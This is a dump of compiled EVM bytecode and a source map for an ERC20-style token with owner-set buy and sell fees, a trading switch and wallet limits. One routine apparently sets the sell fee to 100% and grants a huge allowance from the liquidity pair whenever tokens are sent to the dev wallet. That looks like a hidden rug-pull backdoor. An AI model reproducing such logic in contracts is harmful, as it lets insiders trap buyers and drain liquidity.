17e5750600086115b156121cf5761218d8683612578565b60408051868152602081018490529081018790527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b5050601d805460ff60a01b191690555050505050565b6001600160a01b0383166000908152601b6020526040812054819060ff16156122295761222260646120e1600c54866122eb90919063ffffffff16565b9050612267565b6001600160a01b0384166000908152601b602052604090205460ff16156122675761226460646120e1601054866122eb90919063ffffffff16565b90505b80156122e157306000908152600460205260409020546122879082611e6a565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906122d89085815260200190565b60405180910390a35b611e1f8382611e28565b6000826000036122fd57506000610fff565b6000612309838561299b565b90508261231685836129b2565b146110be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ac9565b60006110be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061264d565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106123e4576123e4612896565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561243d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124619190612879565b8160018151811061247457612474612896565b6001600160a01b039283166020918202929092010152601c5461249a91309116846118e6565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906124d39085906000908690309042906004016129d4565b600060405180830381600087803b1580156124ed57600080fd5b505af1158015612501573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612536929190612a10565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156120ac573d6000803e3d6000fd5b601c546125909030906001600160a01b0316846118e6565b601c546001600160a01b031663f305d7198230856000806125b96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612621573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126469190612a31565b5050505050565b6000818361266e5760405162461bcd60e51b8152600401610ac991906126c9565b506000611e1f84866129b2565b6001600160a01b038116811461269057600080fd5b50565b6000602082840312156126a557600080fd5b81356110be8161267b565b6000602082840312156126c257600080fd5b5035919050565b600060208083528351808285015260005b818110156126f6578581018301518582016040015282016126da565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561272a57600080fd5b82356127358161267b565b946020939093013593505050565b8035801515811461275357600080fd5b919050565b6000806040838503121561276b57600080fd5b82356127768161267b565b915061278460208401612743565b90509250929050565b6000806000606084860312156127a257600080fd5b83356127ad8161267b565b925060208401356127bd8161267b565b929592945050506040919091013590565b6000602082840312156127e057600080fd5b6110be82612743565b600080604083850312156127fc57600080fd5b50508035926020909101359150565b6000806040838503121561281e57600080fd5b82356128298161267b565b915060208301356128398161267b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561288b57600080fd5b81516110be8161267b565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156128e55781516001600160a01b0316875295820195908201906001016128c0565b509495945050505050565b84815260806020820152600061290960808301866128ac565b6001600160a01b03949094166040830152506060015292915050565b600181811c9082168061293957607f821691505b60208210810361295957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610fff57610fff61295f565b81810381811115610fff57610fff61295f565b8082028115828204841417610fff57610fff61295f565b6000826129cf57634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a0604082015260006129f360a08301866128ac565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000612a2960408301846128ac565b949350505050565b600080600060608486031215612a4657600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122029435ce262929345c4d6c5dceeb204fe61ab5b4e61993c36888f269b7e42c17064736f6c63430008110033
Deployed Bytecode
0x6080604052600436106103845760003560e01c80637d1db4a5116101d1578063bd8d821111610102578063ec28438a116100a0578063f2fde38b1161006f578063f2fde38b14610a2a578063f84ba65d14610a4a578063f872858a14610a6a578063ffb54a9914610a8457600080fd5b8063ec28438a146109aa578063eea5b63f146109ca578063ef422a18146109ea578063f1d5f51714610a0a57600080fd5b8063cdba31fd116100dc578063cdba31fd14610918578063d46980161461092e578063dd62ed3e1461094e578063e10e9f321461099457600080fd5b8063bd8d8211146108a8578063c816841b146108c8578063c867d60b146108e857600080fd5b806395d89b411161016f578063a08e671f11610149578063a08e671f1461083c578063a457c2d714610852578063a9059cbb14610872578063ac23ca591461089257600080fd5b806395d89b41146107fc5780639fccce3214610811578063a073d37f1461082757600080fd5b8063844d591c116101ab578063844d591c1461077e578063876b6f8e1461079e5780638da5cb5b146107be5780638ea5220f146107dc57600080fd5b80637d1db4a51461073c578063807c2d9c1461075257806382d201161461076857600080fd5b806328b128d4116102b65780634974d88f1161025457806370a082311161022357806370a08231146106bc578063715018a6146106f25780637ba54f1f146107075780637c519ffb1461072757600080fd5b80634974d88f146106365780634b743995146106565780635342acb41461066c5780636db794371461069c57600080fd5b8063313ce56711610290578063313ce567146105a457806339509351146105c65780633b97084a146105e65780633ecad2711461060657600080fd5b806328b128d4146105665780632b112e491461057c5780632e97766d1461059157600080fd5b80631694505e116103235780631a8145bb116102fd5780631a8145bb146104dc5780632198cf6c146104f257806323b872dd1461051257806327c8f8351461053257600080fd5b80631694505e1461049157806318160ddd146104b157806319c59e2c146104c657600080fd5b8063095ea7b31161035f578063095ea7b3146104115780630e47e822146104415780631107b3a51461046557806312835c5e1461047b57600080fd5b8062e6be7b1461039057806304a0871e146103cd57806306fdde03146103ef57600080fd5b3661038b57005b600080fd5b34801561039c57600080fd5b506103b06103ab366004612693565b610a9e565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156103d957600080fd5b506103ed6103e83660046126b0565b610ddf565b005b3480156103fb57600080fd5b50610404610f5c565b6040516103c491906126c9565b34801561041d57600080fd5b5061043161042c366004612717565b610fee565b60405190151581526020016103c4565b34801561044d57600080fd5b5061045760105481565b6040519081526020016103c4565b34801561047157600080fd5b50610457600e5481565b34801561048757600080fd5b50610457600f5481565b34801561049d57600080fd5b50601c546103b0906001600160a01b031681565b3480156104bd57600080fd5b50600654610457565b3480156104d257600080fd5b50610457600c5481565b3480156104e857600080fd5b50610457601e5481565b3480156104fe57600080fd5b506103ed61050d366004612758565b611005565b34801561051e57600080fd5b5061043161052d36600461278d565b61105a565b34801561053e57600080fd5b506103b07f000000000000000000000000000000000000000000000000000000000000dead81565b34801561057257600080fd5b5061045760135481565b34801561058857600080fd5b506104576110c5565b34801561059d57600080fd5b5043610457565b3480156105b057600080fd5b5060035460405160ff90911681526020016103c4565b3480156105d257600080fd5b506104316105e1366004612717565b61110f565b3480156105f257600080fd5b506103ed6106013660046126b0565b611145565b34801561061257600080fd5b50610431610621366004612693565b601b6020526000908152604090205460ff1681565b34801561064257600080fd5b506103ed6106513660046127ce565b611174565b34801561066257600080fd5b5061045760115481565b34801561067857600080fd5b50610431610687366004612693565b60186020526000908152604090205460ff1681565b3480156106a857600080fd5b506103ed6106b73660046127e9565b6111b1565b3480156106c857600080fd5b506104576106d7366004612693565b6001600160a01b031660009081526004602052604090205490565b3480156106fe57600080fd5b506103ed61124e565b34801561071357600080fd5b506103ed610722366004612693565b6112c2565b34801561073357600080fd5b506103ed6113c3565b34801561074857600080fd5b5061045760155481565b34801561075e57600080fd5b5061045760165481565b34801561077457600080fd5b50610457600a5481565b34801561078a57600080fd5b506103ed610799366004612758565b6113fc565b3480156107aa57600080fd5b506103ed6107b93660046127e9565b611451565b3480156107ca57600080fd5b506000546001600160a01b03166103b0565b3480156107e857600080fd5b506009546103b0906001600160a01b031681565b34801561080857600080fd5b506104046114eb565b34801561081d57600080fd5b50610457601f5481565b34801561083357600080fd5b50600754610457565b34801561084857600080fd5b5061045760145481565b34801561085e57600080fd5b5061043161086d366004612717565b6114fa565b34801561087e57600080fd5b5061043161088d366004612717565b611549565b34801561089e57600080fd5b5061045760125481565b3480156108b457600080fd5b506103ed6108c3366004612693565b611556565b3480156108d457600080fd5b50601d546103b0906001600160a01b031681565b3480156108f457600080fd5b50610431610903366004612693565b60196020526000908152604090205460ff1681565b34801561092457600080fd5b50610457600b5481565b34801561093a57600080fd5b506008546103b0906001600160a01b031681565b34801561095a57600080fd5b5061045761096936600461280b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156109a057600080fd5b50610457600d5481565b3480156109b657600080fd5b506103ed6109c53660046126b0565b611657565b3480156109d657600080fd5b506103ed6109e53660046127e9565b611686565b3480156109f657600080fd5b506103ed610a05366004612758565b611723565b348015610a1657600080fd5b506103ed610a253660046126b0565b611778565b348015610a3657600080fd5b506103ed610a45366004612693565b6117a7565b348015610a5657600080fd5b506103ed610a65366004612758565b611891565b348015610a7657600080fd5b506017546104319060ff1681565b348015610a9057600080fd5b506020546104319060ff1681565b600080546001600160a01b03163314610ad25760405162461bcd60e51b8152600401610ac990612844565b60405180910390fd5b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b399190612879565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baa9190612879565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bf5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c199190612879565b91506001600160a01b038216610d7057806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8b9190612879565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfc9190612879565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6d9190612879565b91505b601d80546001600160a01b03199081166001600160a01b038581169182178455601c8054909316948116949094179091556000908152601960209081526040808320805460ff19908116600190811790925594549095168352601b909152902080549091169091179055919050565b6000546001600160a01b03163314610e095760405162461bcd60e51b8152600401610ac990612844565b6040805160028082526060820183526000926020830190803683375050601c54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610e73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e979190612879565b81600081518110610eaa57610eaa612896565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610ede57610ede612896565b6001600160a01b039283166020918202929092010152601c5460405163b6f9de9560e01b815291169063b6f9de95908490610f2690600090869061dead9042906004016128f0565b6000604051808303818588803b158015610f3f57600080fd5b505af1158015610f53573d6000803e3d6000fd5b50505050505050565b606060018054610f6b90612925565b80601f0160208091040260200160405190810160405280929190818152602001828054610f9790612925565b8015610fe45780601f10610fb957610100808354040283529160200191610fe4565b820191906000526020600020905b815481529060010190602001808311610fc757829003601f168201915b5050505050905090565b6000610ffb3384846118e6565b5060015b92915050565b6000546001600160a01b0316331461102f5760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03919091166000908152601960205260409020805460ff1916911515919091179055565b6000611067848484611a0a565b506110ba84336110b585604051806060016040528060288152602001612a60602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611dee565b6118e6565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526004602052604081205460065461110a91611e28565b905090565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610ffb9185906110b59086611e6a565b6000546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610ac990612844565b600755565b6000546001600160a01b0316331461119e5760405162461bcd60e51b8152600401610ac990612844565b6017805460ff1916911515919091179055565b6000546001600160a01b031633146111db5760405162461bcd60e51b8152600401610ac990612844565b6111e58282611ec9565b600d54600c54111561124a5760405162461bcd60e51b815260206004820152602860248201527f4d757374206b6565702066656573206174206d6178546f74616c466565427579604482015267206f72206c65737360c01b6064820152608401610ac9565b5050565b6000546001600160a01b031633146112785760405162461bcd60e51b8152600401610ac990612844565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146112ec5760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03811661133c5760405162461bcd60e51b8152602060048201526017602482015276043616e6e6f742073657420746f2061646472657373203604c1b6044820152606401610ac9565b6001600160a01b03808216600081815260186020526040808220805460ff19908116600117909155600880548616845282842080549092169091555490519316927f6080503d1da552ae8eb4b7b8a20245d9fabed014180510e7d1a05ea08fdb0f3e9190a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146113ed5760405162461bcd60e51b8152600401610ac990612844565b6020805460ff19166001179055565b6000546001600160a01b031633146114265760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461147b5760405162461bcd60e51b8152600401610ac990612844565b6114858282611ee4565b601154601054111561124a5760405162461bcd60e51b815260206004820152602960248201527f4d757374206b6565702066656573206174206d6178546f74616c46656553656c6044820152686c206f72206c65737360b81b6064820152608401610ac9565b606060028054610f6b90612925565b6000610ffb33846110b585604051806060016040528060258152602001612a88602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611dee565b60006110ba338484611a0a565b6000546001600160a01b031633146115805760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b0381166115d05760405162461bcd60e51b8152602060048201526017602482015276043616e6e6f742073657420746f2061646472657373203604c1b6044820152606401610ac9565b6001600160a01b03808216600081815260186020526040808220805460ff19908116600117909155600980548616845282842080549092169091555490519316927f0db17895a9d092fb3ca24d626f2150dd80c185b0706b36f1040ee239f56cb8719190a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146116815760405162461bcd60e51b8152600401610ac990612844565b601555565b6000546001600160a01b031633146116b05760405162461bcd60e51b8152600401610ac990612844565b601282905560138190556116c48183612975565b601481905560641461124a5760405162461bcd60e51b815260206004820152602260248201527f446973747269627574696f6e206e6565647320746f20746f74616c20746f2031604482015261030360f41b6064820152608401610ac9565b6000546001600160a01b0316331461174d5760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146117a25760405162461bcd60e51b8152600401610ac990612844565b601655565b6000546001600160a01b031633146117d15760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b0381166118365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ac9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146118bb5760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6001600160a01b0383166119485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ac9565b6001600160a01b0382166119a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ac9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416611a705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ac9565b6001600160a01b038316611ad25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ac9565b60205460ff16611b5f576000546001600160a01b03858116911614611b5f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610ac9565b601d54600160a01b900460ff1615611b8357611b7c848484611eff565b90506110be565b6000546001600160a01b03858116911614801590611baf57506000546001600160a01b03848116911614155b15611bbf57611bbf848484611fe5565b306000908152600460209081526040808320546007546001600160a01b03891685526018909352922054908210159060ff16158015611bfb5750805b8015611c115750601d54600160a01b900460ff16155b8015611c3657506001600160a01b0386166000908152601b602052604090205460ff16155b15611c4457611c44826120b1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260049091529190912054611c96918690611dee565b6001600160a01b038716600090815260046020908152604080832093909355601890529081205460ff1680611ce357506001600160a01b03861660009081526018602052604090205460ff165b611cf757611cf28787876121e5565b611cf9565b845b60175490915060ff168015611d2757506001600160a01b03861660009081526019602052604090205460ff16155b15611d6357601654611d5882611d52896001600160a01b031660009081526004602052604090205490565b90611e6a565b1115611d6357600080fd5b6001600160a01b038616600090815260046020526040902054611d869082611e6a565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611dda9085815260200190565b60405180910390a3600193505050506110be565b60008184841115611e125760405162461bcd60e51b8152600401610ac991906126c9565b506000611e1f8486612988565b95945050505050565b60006110be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dee565b600080611e778385612975565b9050838110156110be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ac9565b600b829055600a819055611edd8183612975565b600c555050565b600f829055600e819055611ef88183612975565b6010555050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054611f50918490611dee565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611f7f9083611e6a565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611fd39086815260200190565b60405180910390a35060019392505050565b6015548111158061200e57506001600160a01b0383166000908152601a602052604090205460ff165b61204e5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610ac9565b6009546001600160a01b03908116908316036120ac57612070600a605a611ee4565b601d546001600160a01b0390811660009081526005602090815260408083209386168352929052206f4b3b4ca85a86c47a098a22400000000090555b505050565b601d805460ff60a01b1916600160a01b1790556014546012546000916120e7916002916120e191829087906122eb565b9061236d565b905060006120f58383611e28565b9050612100816123af565b60125447906000906121209061211790600261236d565b60145490611e28565b9050600061214260026120e1846120e1601254886122eb90919063ffffffff16565b905060006121508483611e28565b9050801561216e5760095461216e906001600160a01b031682612542565b60008211801561217e5750600086115b156121cf5761218d8683612578565b60408051868152602081018490529081018790527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b5050601d805460ff60a01b191690555050505050565b6001600160a01b0383166000908152601b6020526040812054819060ff16156122295761222260646120e1600c54866122eb90919063ffffffff16565b9050612267565b6001600160a01b0384166000908152601b602052604090205460ff16156122675761226460646120e1601054866122eb90919063ffffffff16565b90505b80156122e157306000908152600460205260409020546122879082611e6a565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906122d89085815260200190565b60405180910390a35b611e1f8382611e28565b6000826000036122fd57506000610fff565b6000612309838561299b565b90508261231685836129b2565b146110be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ac9565b60006110be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061264d565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106123e4576123e4612896565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561243d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124619190612879565b8160018151811061247457612474612896565b6001600160a01b039283166020918202929092010152601c5461249a91309116846118e6565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906124d39085906000908690309042906004016129d4565b600060405180830381600087803b1580156124ed57600080fd5b505af1158015612501573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612536929190612a10565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156120ac573d6000803e3d6000fd5b601c546125909030906001600160a01b0316846118e6565b601c546001600160a01b031663f305d7198230856000806125b96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612621573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126469190612a31565b5050505050565b6000818361266e5760405162461bcd60e51b8152600401610ac991906126c9565b506000611e1f84866129b2565b6001600160a01b038116811461269057600080fd5b50565b6000602082840312156126a557600080fd5b81356110be8161267b565b6000602082840312156126c257600080fd5b5035919050565b600060208083528351808285015260005b818110156126f6578581018301518582016040015282016126da565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561272a57600080fd5b82356127358161267b565b946020939093013593505050565b8035801515811461275357600080fd5b919050565b6000806040838503121561276b57600080fd5b82356127768161267b565b915061278460208401612743565b90509250929050565b6000806000606084860312156127a257600080fd5b83356127ad8161267b565b925060208401356127bd8161267b565b929592945050506040919091013590565b6000602082840312156127e057600080fd5b6110be82612743565b600080604083850312156127fc57600080fd5b50508035926020909101359150565b6000806040838503121561281e57600080fd5b82356128298161267b565b915060208301356128398161267b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561288b57600080fd5b81516110be8161267b565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156128e55781516001600160a01b0316875295820195908201906001016128c0565b509495945050505050565b84815260806020820152600061290960808301866128ac565b6001600160a01b03949094166040830152506060015292915050565b600181811c9082168061293957607f821691505b60208210810361295957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610fff57610fff61295f565b81810381811115610fff57610fff61295f565b8082028115828204841417610fff57610fff61295f565b6000826129cf57634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a0604082015260006129f360a08301866128ac565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000612a2960408301846128ac565b949350505050565b600080600060608486031215612a4657600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122029435ce262929345c4d6c5dceeb204fe61ab5b4e61993c36888f269b7e42c17064736f6c63430008110033
Deployed Bytecode Sourcemap
30566:16552:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40399:772;;;;;;;;;;-1:-1:-1;40399:772:0;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;566:32:1;;;548:51;;536:2;521:18;40399:772:0;;;;;;;;46647:468;;;;;;;;;;-1:-1:-1;46647:468:0;;;;;:::i;:::-;;:::i;:::-;;34939:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;36311:161::-;;;;;;;;;;-1:-1:-1;36311:161:0;;;;;:::i;:::-;;:::i;:::-;;;1833:14:1;;1826:22;1808:41;;1796:2;1781:18;36311:161:0;1668:187:1;31581:28:0;;;;;;;;;;;;;;;;;;;2006:25:1;;;1994:2;1979:18;31581:28:0;1860:177:1;31503:35:0;;;;;;;;;;;;;;;;31545:29;;;;;;;;;;;;;;;;32174:41;;;;;;;;;;-1:-1:-1;32174:41:0;;;;-1:-1:-1;;;;;32174:41:0;;;35216:100;;;;;;;;;;-1:-1:-1;35296:12:0;;35216:100;;31427:27;;;;;;;;;;;;;;;;32290:33;;;;;;;;;;;;;;;;39088:135;;;;;;;;;;-1:-1:-1;39088:135:0;;;;;:::i;:::-;;:::i;41528:315::-;;;;;;;;;;-1:-1:-1;41528:315:0;;;;;:::i;:::-;;:::i;31257:81::-;;;;;;;;;;;;;;;31710:40;;;;;;;;;;;;;;;;36827:128;;;;;;;;;;;;;:::i;36967:87::-;;;;;;;;;;-1:-1:-1;37034:12:0;36967:87;;35125:83;;;;;;;;;;-1:-1:-1;35191:9:0;;35125:83;;35191:9;;;;3365:36:1;;3353:2;3338:18;35125:83:0;3223:184:1;35635:220:0;;;;;;;;;;-1:-1:-1;35635:220:0;;;;;:::i;:::-;;:::i;39349:124::-;;;;;;;;;;-1:-1:-1;39349:124:0;;;;;:::i;:::-;;:::i;32122:45::-;;;;;;;;;;-1:-1:-1;32122:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;38970:106;;;;;;;;;;-1:-1:-1;38970:106:0;;;;;:::i;:::-;;:::i;31616:34::-;;;;;;;;;;;;;;;;31956:50;;;;;;;;;;-1:-1:-1;31956:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;37623:230;;;;;;;;;;-1:-1:-1;37623:230:0;;;;;:::i;:::-;;:::i;35324:119::-;;;;;;;;;;-1:-1:-1;35324:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;35417:18:0;35390:7;35417:18;;;:9;:18;;;;;;;35324:119;3657:148;;;;;;;;;;;;;:::i;39481:365::-;;;;;;;;;;-1:-1:-1;39481:365:0;;;;;:::i;:::-;;:::i;41225:76::-;;;;;;;;;;;;;:::i;31805:47::-;;;;;;;;;;;;;;;;31859:45;;;;;;;;;;;;;;;;31351:34;;;;;;;;;;;;;;;;37085:129;;;;;;;;;;-1:-1:-1;37085:129:0;;;;;:::i;:::-;;:::i;37861:238::-;;;;;;;;;;-1:-1:-1;37861:238:0;;;;;:::i;:::-;;:::i;3358:79::-;;;;;;;;;;-1:-1:-1;3396:7:0;3423:6;-1:-1:-1;;;;;3423:6:0;3358:79;;31163:87;;;;;;;;;;-1:-1:-1;31163:87:0;;;;-1:-1:-1;;;;;31163:87:0;;;35030;;;;;;;;;;;;;:::i;32330:27::-;;;;;;;;;;;;;;;;36183:120;;;;;;;;;;-1:-1:-1;36272:23:0;;36183:120;;31757:39;;;;;;;;;;;;;;;;35861:271;;;;;;;;;;-1:-1:-1;35861:271:0;;;;;:::i;:::-;;:::i;41353:167::-;;;;;;;;;;-1:-1:-1;41353:167:0;;;;;:::i;:::-;;:::i;31659:44::-;;;;;;;;;;;;;;;;39854:334;;;;;;;;;;-1:-1:-1;39854:334:0;;;;;:::i;:::-;;:::i;32222:26::-;;;;;;;;;;-1:-1:-1;32222:26:0;;;;-1:-1:-1;;;;;32222:26:0;;;32013:52;;;;;;;;;;-1:-1:-1;32013:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;31392:28;;;;;;;;;;;;;;;;31064:92;;;;;;;;;;-1:-1:-1;31064:92:0;;;;-1:-1:-1;;;;;31064:92:0;;;35484:145;;;;;;;;;;-1:-1:-1;35484:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;35592:20:0;;;35565:7;35592:20;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;35484:145;31461:33;;;;;;;;;;;;;;;;37357:111;;;;;;;;;;-1:-1:-1;37357:111:0;;;;;:::i;:::-;;:::i;38577:385::-;;;;;;;;;;-1:-1:-1;38577:385:0;;;;;:::i;:::-;;:::i;37476:135::-;;;;;;;;;;-1:-1:-1;37476:135:0;;;;;:::i;:::-;;:::i;39235:102::-;;;;;;;;;;-1:-1:-1;39235:102:0;;;;;:::i;:::-;;:::i;3960:244::-;;;;;;;;;;-1:-1:-1;3960:244:0;;;;;:::i;:::-;;:::i;37222:127::-;;;;;;;;;;-1:-1:-1;37222:127:0;;;;;:::i;:::-;;:::i;31911:36::-;;;;;;;;;;-1:-1:-1;31911:36:0;;;;;;;;32370:31;;;;;;;;;;-1:-1:-1;32370:31:0;;;;;;;;40399:772;40479:22;3570:6;;-1:-1:-1;;;;;3570:6:0;240:10;3570:22;3562:67;;;;-1:-1:-1;;;3562:67:0;;;;;;;:::i;:::-;;;;;;;;;40516:35:::1;40573:16;405